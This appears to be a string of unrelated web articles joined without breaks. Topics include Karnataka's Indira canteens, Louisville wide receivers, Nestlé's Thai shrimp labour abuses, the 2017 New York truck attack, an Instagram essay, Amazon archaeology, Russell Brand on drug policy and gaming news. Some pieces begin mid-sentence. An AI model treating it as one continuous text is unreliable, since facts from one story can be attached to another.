BS Yeddyurappa, state BJP president said, "This is just politics. If Siddaramaiah and Rahul Gandhi were really concerned about the people they would have gone to the streets where people are suffering after the rain." Low-lying areas of the city had been left flooded after heavy rain on the night before Independence Day.Tamil Nadu's popular low-cost eateries, the "Amma" canteens, were started by then Chief Minister J Jayalalithaa in 2013. After its super success, the AIADMK powerhouse, called Amma or mother by millions of her adoring fans and supporters, also launched schemes like subsidised salt, mineral water and cement, all under the brand name Amma. Ms Jayalalithaa won an unprecedented second straight term as Chief Minister in Tamil Nadu last year, but died in December after days in hospital.Mr Siddaramaiah, who also doubles as Karnataka's finance minister, has set aside Rs 100 crore in the state budget for this year to run the Indira canteens in Bengaluru.Bruhat Bengaluru Mahanagara Palike (BBMP) Commissioner Manjunath Prasad told NDTV, "The 198 Indira canteens have their own prefabricated buildings which will cost a total of 54 crores while the 61 kitchens will cost 73 crores each to build. The recurring costs each year for the state government will be about 215 crores." Elections are due in Karnataka in the first half of 2018. The Congress is battling an aggressive BJP that wants to wrest the state, which it lost to the rival party in the 2013 assembly elections. BJP chief Amit Shah was in Karnataka too over the weekend and has readied a plan to attack the Congress government with allegations of corruption.The University of Louisville has enjoyed a plethora of great wide receivers in school history, but who is the best? We took a look at the best and attempted to extrapolate through the eras just who was the best wide receiver ever at the Unviersity of Louisville. We took into account what the player did while playing for UofL AND what they did after exhausting their eligibility, including their total impact on the program.
Special thanks to Kelly Dickey (@RealCardGame) for helping to pull some of the information listed below. If you feel that anyone should be included that is not listed here, leave us a comment at the end of the article.
#1 Mark Clayton- (1979-82) 96 receptions, 2004 yards (#11 at UofL), 10 Touchdowns. 9 100-yard games, 4 150-yard receiving games. 5x Pro Bowl Selection, 3x All-Pro, 2x NFL Receiving TDs leader. Miami Dolphins Honor Roll, Kentucky Pro Football Hall of Fame. Drafted 1983, 8th round, 223rd overall. Clayton is the only UofL wide receiver to average over 20 yards per reception for his career and have at least 50 receptions. 11 year career in NFL. NFL Stats: 582 receptions, 8974 yards, 84 TDs. 77th All-Time in NFL Receptions, 59th All-Time in NFL Receiving Yards, 18th All-Time in NFL Receiving TDs. Clayton’s 18 Receiving TDs in 1984 is the 3rd most productive receiving Touchdowns in NFL history. Played one season with Green Bay Packers.
#2 Deion Branch – (2000-01) 143 receptions, 2204 yards (#7 at UofL) 18 Touchdowns (#5 at UofL). Super Bowl XXXIX MVP, 2x Super Bowl Champion (XXXVIII, XXXIX) C-USA 1st team 2000 & 2001. 12 100-yard receiving games. 4 150-yard receiving games. Drafted 2002, 2nd round, 65th overall by the New England Patriots. Tied Super Bowl record with 11 receptions in Super Bowl XXXIX. Kentucky Pro Football Hall of Fame. Also played with the Seattle Seahawks. NFL Stats: 518 receptions, 6644 yards, 39 TDs. Played 11 seasons in the NFL. 118th in NFL All-time in Receptions, 147th All-Time NFL Receiving Yardage.
#3 DeVante Parker- (2011-14) 156 receptions, 2775 yards (#3 at UofL), 33 Touchdowns (#1 at UofL). 10 100-yard receiving games. 3 150-yard receiving games, 1 200-yard receiving game. 10 consecutive games with a TD reception at UofL. ACC 2nd team 2014, AAC 1st team 2013, Big East 1st team 2012. Drafted 2015, 1st round, 14th overall by the Miami Dolphins and is still active with Miami. Current NFL Stats: 82 receptions, 1238 yards, 7 TDs. (could revise this position, depending on NFL career)
#4 Arnold Jackson – (1997-2000) 300 receptions, 3,670 yards (#1 at UofL), 31 Touchdowns (#2 at UofL). C-USA 1st team 1998 & 1999, C-USA 2nd team 2000, 16 100-yard receiving games. 4 150-yard receiving games. Arnold Jackson ranks 11th in FBS in career receptions with 300 (1st player ever with 300 career receptions in college football). 47 consecutive games with a reception. Arnold played 2 seasons with the Arizona Cardinals totalling 14 receptions for 86 yards, 1 TD in 32 games while adding 71 punt returns and 643 yards.
#5 Ernest Givins- (1984-85) 67 receptions, 1266 yards, 10 Touchdowns. (2 seasons). 2x Pro Bowl Selection, All-Pro in 1990. Drafted 1986, 2nd round, 34th overall. Louisville’s only WR ever to make the NFL All-Rookie team in 1986. Only 3 other players have made NFL All-Rookie teams Teddy Bridgewater did it in 2014, Amobi Okoye did it in 2007, and Joe Johnson did it in 1994. Played 10 seasons in NFL with the Houston Oilers & Jacksonville Jaguars. Currently offensive coordinator at Boca Ciega High School in St. Petersburg, FL. NFL Stats: 571 receptions, 8215 yards, 49 TDs. 82nd All-Time in NFL Receptions, 84th All-Time in NFL Receiving Yardage, 128th All-Time in NFL Receiving TDs, 200th All-Time in NFL All-Purpose Yardage.
#6 Harry Douglas- (2004-2007) 173 receptions, 2924 yards (#2 at UofL), 15 Touchdowns (#7 at UofL). 10 100-yard receiving games. 4 150-yard receiving games, 2 200-yard receiving games. AP 2nd team 2007, Big East 1st team 2006 & 2007, Drafted 2008, 3rd round, 84th overall by the Atlanta Falcons. Has earned $17.8M during his NFL career and is set to earn $1.6M in 2017 with the Tennessee Titans. 9 seasons in the NFL Harry has 309 receptions, 3751 yards and 10 Touchdowns.
#7 J.R. Russell – (2001-04) 186 receptions, 2619 yards (#4 at UofL) 19 Touchdowns (#4 at UofL). 11 100-yard receiving games. 36 consecutive games with a reception. C-USA 1st team 2003 & 2004, Drafted 2005, 7th round, 253rd overall by the Tampa Bay Buccaneers. Also played Arena Football for the Orlando Predators.
#8 Eli Rogers – (2011-14) 176 receptions, 2020 yards (#10 at UofL) 12 Touchdowns (#10 at UofL). Eli was undrafted in the 2015 NFL Drafted and signed by the Pittsburgh Steelers. Current NFL Stats: 48 receptions, 594 yards, 3 TDs.
#9 Mario Urrutia- (2005-2007) 130 catches, 2271 yards (#6 at UofL), 16 Touchdowns (#6 at UofL). 8 100-yard games. Sports Illustrated & Sporting News Honorable Mention All-American 2005, Big East 1st team 2005, Big East 2nd team 2006, Drafted 2008, 7th round, 246th overall by the Cincinnati Bengals. Spent time on practice/offseason rosters for Bengals, Jets, and Buccaneers and bounced around Arena and other professional football leagues.
#10 Miguel Montano – (1994-97) 175 receptions, 2305 yards (#5 at UofL), 5 Touchdowns. C-USA 2nd team 1997. 9 100-yard receiving games. 14 receptions in a game twice (Cincinnati 1997, Southern Miss 1996)
The Justification
Louisville has had a TON of excellence at Wide Receiver. Capping this at a list of a “Top Ten” is really difficult because it’s more than just simple stats and listing receivers in order based on receptions, yards and TDs. Different eras and professional impact play a huge factor in determining who was the best.
Mark Clayton’s impact at UofL came at a time when the Cards weren’t very good…….but 2000+ yards on less than 100 catches is outstanding AND stats don’t tell the WHOLE STORY. In the 4 years Mark played at UofL, here are the average yards passing per game by year: 1979 107.3 ypg, 1980 103.1 ypg, 1981 141.0 ypg, 1982 195.5 yards per game. The highest completion percentage during Clayton’s tenure was in 1982 at 44.4%….. so it’s not as if Clayton played at UofL with Jay Gruden or someone that will make UofL’s Best Ever Quarterbacks.
Additionally Mark Clayton was a 5x Pro Bowler and STILL has a tremendous impact on the NFL record books. Deion Branch is a 2x Super Bowl Champion and a Super Bowl MVP and in 2 years made a really big impact on the UofL Football record book. DeVante Parker’s numbers are undeniable and the argument of “what would his numbers have been if Charlie had opened it up” is valid….. but by opening up Teddy Bridgewater would have produced more yards for Devante, but also Damian Copeland, Eli Rogers, Gerald Christian, etc.
Beyond the Top 3 I couldn’t go any further without Arnold Jackson who was the first ever college football player with 300 receptions. Jackson’s production is unbelivable and in most programs he’d be in the Top 3… but this is the AFROs. Also, how ridiculous is it that Ernest Givins checks in at #5? The Cards have had a ton of great Wide Receivers in its history. Harry Douglas coming into his 10th year in the NFL dots the Cardinal record books at #6 and while J.R. Russell didn’t have an NFL impact, his numbers and production at UofL warrants him here at #7.
Eli Rogers has to make the list in my opinion and I struggled with placing him above Miguel Montano, but Rogers early returns in the NFL persuaded me to do so. And Mario Urrutia’s yardage & touchdowns while at UofL just begs inclusion as well.
Personally I struggled placing and selecting a Top 10. I could hear any argument about moving these players around and moving some guys from the “Also Considered” into the Top 10. So tell me what you think, how would you rank the best wide receivers in Louisville Football history?
Also Considered:
Aaron Bailey – (1992-93) 2 seasons. 39 receptions, 883 yards, 5 TDs at UofL. 51 kick returns, 1181 yards, 24 punt returns, 275 yards 1 TD. Played in NFL from 1994-98 with Indianapolis Colts. Best known for a Hail Mary catch in 1995 AFC Championship Game from Jim Harbaugh that was ruled a drop… allowing the Pittsburgh Steelers to Super Bowl XXX. Undrafted. NFL Stats: 67 receptions, 1040 yards, 6 TDs, 3501 Kick Return Yards, 2 KR TDs. Also had an outstanding Arena Football career.
Doug Beaumont – (2007-2010) 141 receptions, 1655 yards, 1 TD. 34 punt returns, 404 yards, 1 TD. Big East 2nd team.
Josh Bellamy (2010-11) 53 receptions, 681 yards, 7 TDs. Undrafted in 2012. Still in NFL entering his 6th season in league with the Chicago Bears (4th season with Bears) and has also played with the Chiefs, Chargers & Redskins. Current NFL stats: 38 receptions, 506 yards, 3 TDs. Has earned $2.266M during his career and is set to earn $775,000 in 2017.
Lavell Boyd – (1997-1999) 3 seasons. 135 receptions, 1775 yards, 10 TDs. 4 TDs vs. Houston (1999). Undrafted played with Cincinnati Bengals in 2000, was injured with the Miami Dolphins & briefly was with the Minnesota Vikings. Also played in NFL Europe & Arena Football.
Josh Chichester (2008-2011) 97 receptions, 1253 yards, 11 TDs
Broderick Clark- (2002-2005) 67 receptions, 909 yards, 4 TDs. 97 kick returns, 2200 yards, 2 TDs. College Football News 2nd team, 2002, C-USA 1st team 2002 (senior year shortened)
Kevin Cook (1991-93) 3 seasons, 56 receptions, 995 yards, 11 TDs. 9 TDs in 1993.
Damian Copeland – (2010-2013) 116 receptions, 1521 yards, 7 TDs. Missed 2011. 29 games with a reception. Undrafted in 2014 to Jacksonville Jaguars and finished career with Detroit Lions in 2016.
Anthony Cummings – (1987-90) 25 Touchdowns (#3 at UofL), most receiving TDs in a single game with 5. 82 receptions, 1238 yards, 20 TDs. Best known for nailing the goalpost on a TD during the 1991 Fiesta Bowl.
Damien Dorsey (2000-2002) 79 receptions, 1173 yards, 8 TDs. (3 seasons) C-USA 1st team 2002
Lonny Gilbert (1966-68) 76 receptions, 1118 yards,7 TDs. 3 seasons.
Trent Guy – (2006-09) 43 receptions, 722 yards, 5 TDs. 86 kick returns, 1980 yards, 2 TDs Big East 2nd team 2008 & 2009. Undrafted signed by the Raiders and eventually to the Carolina Panthers.
Larry Hart (1968-1970) -48 receptions, 929 yards, 11 TDs. Played QB for UofL in 1969, and just played 2 seasons at WR.
Fred Jones (1988-1991) 63 receptions, 1005 yards, 5 TDs.
Montrell Jones (2004-05) – 80 receptions, 1138 yards, 8 TDs at UofL (played 2 seasons at Tennessee 28 receptions, 356 additional stats as a Vol).
Scott Long (2007-2009) 91 receptions, 1286 yards, 4 TDs
Kevin Miller (1974-1977) 73 receptions, 1050 yards, 6 TDs. 47 rushes, 268 yards, 2 TDs at UofL. Played 3 seasons in NFL appearing in 23 games after being undrafted by the Minnesota Vikings.
Zek Parker – (1998-2001) 128 receptions, 1804 yards, 13 TDs. 103 kick returns, 2558 yards, 3 TDs. C-USA 1st team 2001, C-USA 2nd team 2000, 2 150-yard receiving games. 13 Touchdowns (#9 at UofL)
Kenny Robinson (1977-1980) 71 receptions, 1204 yards, 6 TDs.
James Quick– (2013-16) ACC 3rd team 2016. 126 receptions, 2032 yards (#9 at UofL), 14 Touchdowns (#8 at UofL). Undrafted and signed by the Washington Redskins following the 2017 NFL Draft.
Charles Sheffield (1996-99) 95 receptions, 1238 yards, 5 TDs.
Andrell Smith (2009-2012) – 70 receptions, 1120 yards, 7 TDs.
Clarence Spencer – (1964-65) 2 seasons, 30 receptions, 382 yards, 3 TDs. Drafted 1967, 15th round, 379th pick by the San Francisco 49ers.
Jamari Staples – (2015-16) 73 receptions, 1253 yards, 5 TDs at UofL. Undrafted in the 2017 NFL Draft and was signed by the Kansas City Chiefs.
Joshua Tinch (2002-2005) – Big East 1st team 2005. 162 receptions, 2195 yards (#8 at UofL), 10 Touchdowns. 38 consecutive games with a reception.
Howard Turley – Drafted 1960, 19th round, 222nd overall by the Pittsburgh Steelers 27 rec, 389 yds, 3 TD
Ed Young – (1955-58) 35 catches, 768 yards, 21.9 yards per catch. |
als of twenty states – Alabama, Arizona, Arkansas, Georgia, Indiana, Kansas, Louisiana, Michigan, Missouri, Montana, Nebraska, Nevada, North Dakota, Ohio, Oklahoma, South Carolina, Texas, Utah, West Virginia, and Wisconsin – filed an excellent friend-of-the-Court brief that supports our certiorari petition. As the Attorney Generals explained, the Ninth Circuit decision enabling the gag order to stand “sets a precedent that hampers law enforcement’s ability to effectively receive information and investigate possible civil or criminal wrongdoing” and also “empowers would-be wrongdoers, especially those engaged in collusion, conspiracy, or other multi-party enterprises, to shroud their actions and hamper investigations.”
We are hopeful that the Supreme Court will take this vitally important case, and ultimately allow law enforcement agencies, other government investigators, and the general public to have full, uncensored access to all the evidence of criminal and other illegal actions taken by abortion providers and fetal tissue procurement companies.Throughout the history of Hip Hop, few lyricists have offered more intricacy, honesty and skill than Nasir Jones. It should come as no surprise that Harvard University now offers a fellowship in the Queensboro legend’s name, and has begun working with the rapper to break down his lyrics.
In conversation with poetry professor Elisa New, Nas discussed the lyrics of his track “It Ain’t Hard To Tell” from his revered 1994 debut album Illmatic, which is one of the first albums selected for the Hip Hop archive at Harvard’s library. Professor New was particularly interested in lines such as “Wisdom leaks from my grapefruit, troop,” and “I dominate break loops.”
Explaining the origins of his style, Nas spoke on the nature of different language emerging from the different neighborhoods of New York City.
“Before there was rap music, there was this different way of using the English language. Certain neighborhoods spin the words around different than others. Italian say different things, Irish say different things, Jamaicans, forget about it. They’ve got a whole different way of spinning words around.”
“Everything is rhythm, everything is always moving everything. The world’s always rotating, nothing ain’t still. So, you know, I talk from that point of view. That language around my neighborhood…”
Watch the conversation in full below:An Auraria police officer was critically injured and a man who allegedly attacked the officer with a sword was fatally shot during a confrontation on the Auraria campus early Saturday morning, authorities say.
The police officer was rushed to a hospital in critical but stable condition, said Denver police spokeswoman Raquel Lopez.
“His finger was almost severed,” Lopez said.
The suspect, who has not been identified, was rushed to a hospital, where he was pronounced dead, she said. The name of the Auraria police officer also has not been released.
Auraria police were called to Ninth and Walnut streets, near the Tivoli Student Center, at 5:54 a.m., said Denver Fire Department spokesman Lt. Phil Champagne.
Someone called dispatch and said, “Hey, there’s a guy out here with a sword,” Lopez said. “Any time you see someone walking around with a sword and swinging it around, you want to take precautions.”
The campus police officer confronted the sword-wielding man in a crosswalk near the front of the Tivoli building, Lopez said. The man did not obey orders and swung the sword, nearly lopping the officer’s finger off. The officer then shot the man, Lopez said.
Denver detectives were taking measurements on the street as snow began to fall Saturday morning. The sword, which appeared to be a Samurai-style weapon, was still on the street.
Police had put numbered markers next to the sword and what appeared to be a coat. Denver’s mobile-crime-laboratory trailer was set up near the shooting scene.
“That’s a strange thing,” said James Boyce, 44, a musical performance student at Metropolitan State University of Denver.
After getting a coffee at a nearby shop, Boyce said campus police typically keep the campus quiet.
“I feel very safe on campus,” Boyce said.
Ted Jimenez, 31, who works at the campus registrar’s office, said he was happy the officer protected himself.
“That’s just shocking,” Jimenez said.
The shooting is under investigation, Lopez said.
Kirk Mitchell: 303-954-1206, facebook.com/kmitchelldp or twitter.com/kmitchelldpA report undertaken by Verité and commissioned by Nestlé has found that the Vevey-based company has serious issues with human right abuses in its Thai seafood supply chain. The announcement came as Nestlé unveiled an action plan to tackle the issues.
Verité's investigation covered six main production sites in Thailand that supply Nestlé – three shrimp farms, two ports and a docked boat. In the report entitled Recruitment Practices and
Migrant Labor Conditions in Nestlé's Thai Shrimp Supply Chain, Verité found indicators of forced labour, trafficking and child labour.
Migrant workers have their passports withheld and are forced into debt bondage after being recruited without any idea of the conditions they would be working in. Some reported being "sold" to a ship captain. Verité also found that there were no age checks and a number of underage workers were engaged in sea-based work.
A Burmese worker who had escaped from a ship said: "Sometimes, the net is too heavy and workers get pulled in to the water and just disappear. When someone dies, he gets thrown into the water. Some have fallen overboard."
A boat leader said: "Many workers have no passports, no documents. No one verifies age or where workers come from, how they get here."
This is not the first time employment practices in the Thai shrimp industry have come under criticism. In 2014, a Guardian documentary found slave labour being used in Thai companies that were supplying a number of supermarkets, including Walmart, Carrefour, Costco and Tesco.
A number of anti-trafficking organisations have hailed Nestlé's honesty: "It's unusual and exemplary," Mark Lagon, president of Freedom House, told the Guardian.
Nestlé's purchasing in Thailand is mainly for its Purina brand Fancy Feast cat food – which is already being sued by pet food buyers alleging that it's the product of slave labour.
Verité commended Nestlé, saying the company "could have a positive impact on the whole industry by raising the bar on labour protection." The NGO also pointed out that this was not an issue solely affecting Nestlé, saying: "Virtually all companies sourcing seafood in the Thai seafood sector are exposed to the same risks."Betancur/Getty Images/AFP | Emergency personal respond after a man driving a rental truck struck and killed eight people on a jogging and bike path in Lower Manhattan on October 31, 2017 in New York City.
Five Argentine citizens were killed and another injured Tuesday in the New York truck attack that killed a total of eight people, the Foreign Ministry said.
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The Argentine victims were from the city of Rosario, and were visiting New York for a school reunion.
Eleven others were seriously hurt when the truck driver struck in broad daylight just blocks from the 9/11 Memorial, on the West Side of Lower Manhattan, close to schools as children and their parents geared up to celebrate Halloween.
???????????????? #Atentado Un viaje de camaradería entre amigos rosarinos que se convirtió en tragedia
➡️ https://t.co/JD20uAnknJ pic.twitter.com/gPQxPtH1Fx La Capital - Rosario (@lacapital) 1 November 2017
"The Argentine government expresses its most sincere condolences for the deaths of Argentine nationals Hernan Diego Mendoza, Diego Enrique Angelini, Alejandro Damian Pagnucco, Ariel Erlij and Hernan Ferruchi, in the dramatic terrorist attack this afternoon in New York," a ministry statement said.
The injured man was named as Martin Ludovico Marro, who was being treated at Presbyterian Hospital in Manhattan with non-life-threatening injuries, it added.
(AFP)Picture this: you’re bored at work, scrolling through Instagram, when you stumble upon a perfectly-filtered square that shows someone’s laptop, a picturesque cappuccino, and probably a potted plant off to the side. Her work space is impeccable, and her photo reeks of chicness and productivity. You immediately feel embarrassed by your messy desk, with its coffee stains and piles of papers, and you wish you could just have a more “minimalistic” vibe to your whole existence. Right?
Ever since Instagram became a thing, there’s been a limitless well of articles that talk about social media FOMO, or the ways that someone else’s highlight reel negatively impacts our psyche. We’ve all had moments where we’ve scrolled through our Instagram feeds, feeling pangs of jealousy at that fashion blogger’s “perfect” life, or the way our high school classmate seems to have the “ideal” relationship. And we’d all probably be lying if we said that we’ve never purchased something — like a gourmet latte or a green juice — with a mental note of posting it on Instagram later on.
It’s easy to blame our insecurities on Instagram, or to say that we’ve become dependent upon “likes” for validation. And it’s also easy to say that the pressure to look cool on Instagram results in over-spending, or the pursuit of certain activities with the end-goal of cropping it into a square and filtering our memories into perfection. It’s certainly not difficult to point a finger at social media — or pop culture for that matter — for our “unrealistic expectations” about literally everything. But the truth is that Instagram hasn’t given us false expectations any more than Sex and the City wrongly prepared us for adult life. The only ones we can really blame for those feelings are ourselves.
As adults, we should be able to discern between truth and fiction, and we should be able to take everything we see on social media with a grain of salt. We know, deep down, that no one puts the minute details of their lives on Instagram. No one is ‘gramming their bills, or their dirty dishes, or their laundry. No one is posting selfies after a fight with their significant other, or snapping pics of their shoes after a long day at work. The pictures we see, the ones that give us that pang of jealousy, are deliberately-chosen moments, designed to put forth the greatest impression of someone’s life. And we know this, because we do it, too.
So why, then, do we let Instagram dictate our feelings so much? Why do we allow ourselves to go on with our FOMO, with our pangs of inadequacy while looking through the feed of a fashion blogger whom we don’t even know in real life? If we know the truth, objectively, we should be able to separate that knowledge from the knee-jerk feelings that we have while mindlessly scrolling. And if we can’t separate that truth, we only have ourselves to blame.
We shouldn’t need to take “social media detoxes.” The very fact that we do this — and then announce it on social media — is part of the problem. At this point in our adulthood, we should be able to navigate social media with the awareness that it is a part of our lives, but not necessarily a representation of our whole lives. We should be able to feel good about getting those double-taps on our photos without pegging our self-worth to the number next to the hearts. We should be able to browse the Insta feed of our favorite bloggers and not feel compelled to go to the mall and blow our whole paycheck. And if we do mess up and those things, and still feel inadequate, we shouldn’t blame Instagram — we should blame ourselves.
In this day and age, social media is a part of our existence. It isn’t going anywhere. So it’s up to us to be able to differentiate between fantasy and reality, to take charge of our lives, and stop blaming each and every mistake or “unrealistic expectation” on something that we saw online. We need to do a better job of being an advocate for ourselves, and force ourselves to remember the things we already know.
At the end of the day, a cropped picture is just a picture. It is a snapshot, a frozen moment in time, a mere fragment of someone’s existence. Think of all the things we wouldn’t dare put online — our favorite bloggers and social media stars are living all of those moments, too. They’re just not on their Instagram feeds for the world to see.
De is a New Yorker turned Bostonian and lover of all things theatrical. She’ll never turn down a cup of gingerbread coffee, and she’s the owner of the fluffiest cat imaginable. De is on Twitter and Instagram.
Image via UnsplashAt least four Americans have been injured while participating in the annual Running of the Bulls in Pamplona, Spain.
Two U.S. citizens were gored Friday, and another two were gored Saturday.
Bill Hillmann, one of the men injured Saturday, said he initially didn’t realize he had been injured.
“I flew up in the air and landed on my back. I didn’t know I was gored at first,” he told the AP. “Then people started telling me I was gored and pulled me over to the medics. I pulled down my pants and there was blood.”
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Hillmann, who was also gored three years ago at the San Fermin festival, sustained minor injuries, but is already planning his next run — which he said could happen as early as Sunday.
“I am probably going to run tomorrow or the next day, sure at this festival,” he said. “I am already walking.”
Some of the other Americans injured in the annual 8-day festival endured more serious injuries, including a 35-year-old man who was injured in the abdomen and another suffered injuries to his scrotum. A 22-year-old American is in serious condition after he was thrown from a bull, impaled in his left arm and then dragged.
Others were treated for injuries and spot bruises, according to AP.
The bulls came from the Cebada Gago ranch, according to AP, which have traditionally caused more injuries. They have gored 53 people since making their debut in Pamplona in 1985.
Contact us at editors@time.com.The number of scientists who disagree has diminished, but influential critics remain, none more so than Betty J. Meggers, director of Latin American archaeology at the Smithsonian Institution. She said the new theories are based more on wishful thinking than science.
"I'm sorry to say that archaeologists like to produce sensational refutation of previous theories," said Meggers, whose 1971 book, "Amazonia: Man and Culture in a Counterfeit Paradise," holds that the region is unfit for large-scale habitation. "You know, this is how you get your promotions."
There is also concern among some that the new theories could pose a danger to the Amazon. If the forest were not as unspoiled as previously thought, they wonder, then wouldn't that serve as a green light to developers today?
"Just because the indigenous had complex societies that managed the forest can't justify the large-scale transformations in the Amazon today," said Zach Hurwitz, a geographer who consults International Rivers, a Berkeley, Calif.-based environmental group that has raised concerns about dam building projects and mineral exploration.
A study of contrasts
In some ways, the theory that the Amazon may have been a wellspring of civilization should come as no surprise in the 21st century. In a long perilous journey along Ecuador's Napo River in 1541, Spanish friar Gaspar de Carvajal, a chronicler of the European conquest, wrote of "cities that gleamed white," canoes that carried dozens of Indian warriors, "fine highways" and "very fruitful land."
But until recently, scientists and explorers had all but rejected his work as fantastical, the diaries of a man who would write anything to justify to investors back in Spain that the hunt for El Dorado would bear fruit.
In sharp contrast, explorers in the 20th century noted that the Amazon held no pyramids or stone aqueducts, like those of Mexico. And the people they encountered belonged to small bands - Amazonian Indians who appeared to be little more than human relics forgotten by time.
Roosevelt, a professor of anthropology at the University of Illinois, said that was because the civilizations encountered by Europeans quickly disintegrated, victims of disease.
But until their demise, she said, their cultures were anything but primitive. "They have magnitude, they have complexity," she said. "They are amazing."
A feel for the land
Archaeology in the Amazon is not easy. Few rock formations meant that any buildings had to rely on wood. Left untended - or abandoned - they would soon be quickly swallowed by the jungle.
So those scientists who go today rely on new technologies to unearth the past, from satellite imagery to ground-penetrating radar and remote sensors to find ceramics.
Oyuela-Caycedo, the University of Florida archaeologist, and Nigel Smith, a geographer and palm tree expert, have yet to use these tools here, a short boat ride from this town, San Martin de Samiria. Instead they have been trying to get a feel for the land beneath their feet.
On a recent morning, using a soil coring device, Oyuela-Caycedo extracted a heavy, black dirt in a spot he calls Salvavidas, or Lifesaver. It was terra preta, black, nutrient-rich, as good for agriculture as the soil in Iowa.
"It is the best soil that you can find in the Amazon," said Oyuela-Caycedo, who wore netting over his face to protect him from mosquitoes. "You don't find it in natural form."
Three feet deep here, and stretching nearly 100 acres, this terra preta could have fed at least 5,000 people. The forests here were also carefully managed in other ways, Oyuela-Caycedo believes, with the Indians planting semi-domesticated trees that bore all manner of fruit, such as macambo, sapote and jungle avocados.
Bits of colorful ceramics - matching that found elsewhere in the Amazon - seem to show that those who lived here were the Omaguas, the same people Gaspar de Carvajal encountered nearly 500 years before.
There is no doubt, Oyuela-Caycedo said, that the Omaguas faced hardship: insects, poisonous snakes, poor soil. But their environment had vast potential, he said, and the Omaguas exploited it before their civilization was brought to heel by disease.
"The only thing they had to do was to change and transform the landscape," Oyuela-Caycedo said. "And that is what they did."71 Northbridge Road
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NOTE ALL RED CAT PARTS ARE SPECIAL ORDERMedia playback is unsupported on your device Media caption Russell Brand: "There needs to be love and compassion"
Comedian Russell Brand has told MPs that taking drugs should not be seen as a "criminal or judicial matter" and users should be shown more compassion.
Appearing in Parliament, Mr Brand said drug addiction was primarily a "health matter" and decriminalising drugs could be "useful" in some areas.
But he said he opposed a "wacky free for all", saying his life had not been improved by extensive use.
The Home Affairs Committee is looking at government policy and sanctions.
Mr Brand told MPs about his fight against addiction, for which he has received successful treatment.
'Pragmatic'
Asked whether he supported the legalisation of drugs, he said he did not believe he was "particularly qualified" to make that judgement and that frequent drug use "did not help me".
"For me what is more significant is the way we socially regard the condition of addiction," he said.
"It is something I consider to be an illness, and therefore more of health matter than a criminal or judicial matter.
"It is more important that we regard people suffering from addiction with compassion and there is a pragmatic rather than a symbolic approach to treating it."
'Out of touch'
He said trials in countries such as Portugal showed decriminalisation of some drugs could prove "useful and efficient".
There is a degree of cowardice and wilful ignorance about this condition Russell Brand
He described his frequent arrests for possession of drugs as an "administrative blip" and said resources should be shifted away from the policing of drugs to education and treatment.
"As a drug addict, the legal status (of a drug) is an irrelevance," he told MPs. "At best it is an inconvenience."
He added: "There is a degree of cowardice and wilful ignorance about this condition. There needs to be honesty and authenticity on this issue so Parliament does not look out of touch."
In his 2007 autobiography, Mr Brand spoke about his extensive use of drugs and how his "love" of heroin, in particular, had damaged his relationships, health and career.
Media playback is unsupported on your device Media caption Russell Brand appeared alongside Chip Somers, the head of Focus12, a charity which helped him with his rehabilitation
He told MPs that he had started taking drugs as a result of a mental and psychological condition - comparing it to a "spiritual malady" - and this was connected to excessive drinking.
Mr Brand appeared alongside the boss of Focus12, the charity which helped with his rehabilitation and recovery.
Chip Somers, the head of the Suffolk-based charity, told MPs there was a big difference between legalisation and decriminalisation and the argument for the latter was much stronger.
He said he favoured an abstinence-based approach to treatment as the best way to "stop harm" to drug users and their families.
'Wrong'
Tuesday's session is the fourth the committee has conducted as part of what it intends to be a "comprehensive" study of the UK's drugs policy.
It is also hearing from witnesses opposed to any relaxation of the laws on drug use - journalist Peter Hitchens, Kathy Gyngell from the Centre for Policy Studies and Mary Brett from 'Cannabis Skunk Sense', which seeks to draw attention to the risks posed by cannabis.
Hitchens said the government had "abandoned many years ago" attempts to prohibit the use and possession of cannabis and some Class A drugs - claiming there was a "de facto decriminalisation".
He said that drug use was "wrong" and the law should clearly state this.
Ms Gyngell said cocaine use was only "common in certain circles" and that if decriminalised, the rate of usage would rise sharply.
The committee has previously taken evidence from medical professionals involved in drug treatment and drug education.I admit I'm not a big fan of the decision to withdraw Cabrera from the batting title consideration. He has the highest average based on the rules and regardless of what he was using those hits occurred on the field. Since Baseball-Reference.com is pretty much all about what happens on the field, it puts us in a bit of a bind as Cabrera irrefutably (at least as it stands now) has the highest batting average in the league, but the league will not recognize him as the batting champion.
Looking to historical precedent, it's clear to me that we should now and should continue to list Cabrera with the highest batting average in the 2012. However, it shouldn't surprise you that there have been many other cases, though none recently, where the batting titleist at the time and person we currently recognize with the highest batting average don't match up.
The most "recent" case is 1910 where Lajoie had a higher batting average than Cobb, but due to various shenanigans Cobb was given the batting title (though both got the winner's promised automobile).
Likewise in 1902, we list Lajoie ahead of Ed Delahanty. The issues are even larger on the pitching side as the requirements have shifted around before settling on 1 IP per scheduled game (I've seen books citing minimum 10 complete games or 45 innings pitched). Even the 1IP/Gm can cause issues as in 1981 Steve McCatty was the recognized ERA Champion, even though in our opinion Sammy Stewart and Dave Righetti had better ERA's.
To handle this, we've decided to list ERA Leaders and BA leaders as they currently are in the leaderboard pages. These will be updated and change as new data becomes available and we will be apolitical as much as possible in how we draw these leaderboards. This is essentially the status quo.
In addition, though, we will add as awards the Batting Champion and Pitching Champion which will represent the player recognized at the end of the year as the top hitter and top pitcher. And we will strive to denote on each when the winners of the two do not match up.
This way folks can see who was best on the field and who was recognized as such at the time when the season ended.
This entry was posted on Monday, September 24th, 2012 at 4:35 pm and is filed under Announcement, Baseball-Reference.com. You can follow any responses to this entry through the RSS 2.0 feed. Both comments and pings are currently closed.Wednesday is the disappointing, pasty center of the work week sandwich, but that doesn't stop the news cogs from turning. Here's your quick TLDR for the information overload of the day.
Ever wanted to punch Noctis from Final Fantasy 15 in the face?
Or maybe you just want to watch him do some high-kicks in casual fishing attire? Either way, he'll arrive in Tekken 7 - with a whole new wardrobe - on March 20.
Sega Genesis Classics brings your dad's favorite games to your console
Enjoy the cutting edge of '90s gaming with a new collection from Sega, featuring 50 golden oldies like Sonic the Hedgehog, Altered Beast, and Streets of Rage. It's coming to PS4 and Xbox One on May 29, but Nintendo Switch owners have been brutally shunned.
Deadpool 2 adding more Cable and Domino
Apparently some people watch Deadpool for more than just Ryan Reynolds in spandex, because according to Collider, recent reshoots are focused on increasing the screen time for Zazie Beets as Domino (a walking weapon and mercenary) and Josh Brolin as time-hopping warrior Cable.
PVZ 2 gets PVP
Plants vs. Zombies 2 dropped in 2013, so either someone handed in their work really late, or EA decided five years later was the perfect time to add a competitive mode. Battlez pits you against another player, attempting to kill as many zombies as possible, as far away from your house as possible, to build a winning score.
Be part of a historical space program
